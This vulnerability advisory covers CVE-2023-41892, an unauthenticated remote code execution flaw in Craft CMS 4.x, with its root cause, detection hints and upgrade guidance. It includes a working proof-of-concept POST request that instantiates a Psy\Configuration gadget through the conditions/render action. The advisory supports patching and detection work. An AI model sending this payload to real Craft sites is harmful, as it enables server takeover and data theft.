Craft CMS conditions/render RCE

Product: Pixel & Tonic Craft CMS
CVE: CVE-2023-41892
Disclosed: 2023-09-13
CVSS: 9.8
Auth: pre-auth
CISA KEV: no
Affected: 4.0.0-RC1 - 4.4.14
Fixed: 4.4.15

Summary

The unauthenticated conditions/render controller action created objects from attacker-supplied configuration arrays. Attackers can instantiate arbitrary PHP classes with chosen constructor arguments and turn that into file writes and code execution.

Root cause

Craft's BaseConditionsController passed the 'config' request parameter to Craft::createObject(), letting the caller choose any class and constructor args via Yii's behavior syntax ('as xyz' => ['class' => ...]). Gadgets such as Imagick's MSL reader (writing a PHP file) or Psy\Configuration including a poisoned log file give RCE.

Impact

Unauthenticated RCE on Craft CMS 4.x before 4.4.15.

Public PoC

POST /index.php?action=conditions/render HTTP/1.1
Host: target
Content-Type: application/json

{
  "config": {
    "name": "test",
    "as xyz": {
      "class": "\\Psy\\Configuration",
      "__construct()": {
        "config": { "configFile": "../storage/logs/web-2025-03-31.log" }
      }
    }
  },
  "test": "craft\\elements\\conditions\\users\\UserCondition"
}

Source: vulhub / craftcms/CVE-2023-41892

Detection

Look for requests to index.php?action=conditions/render or /actions/conditions/render with 'config' parameters naming PHP classes. nuclei template CVE-2023-41892.

Mitigation

Upgrade to 4.4.15+ and rotate CRAFT_SECURITY_KEY.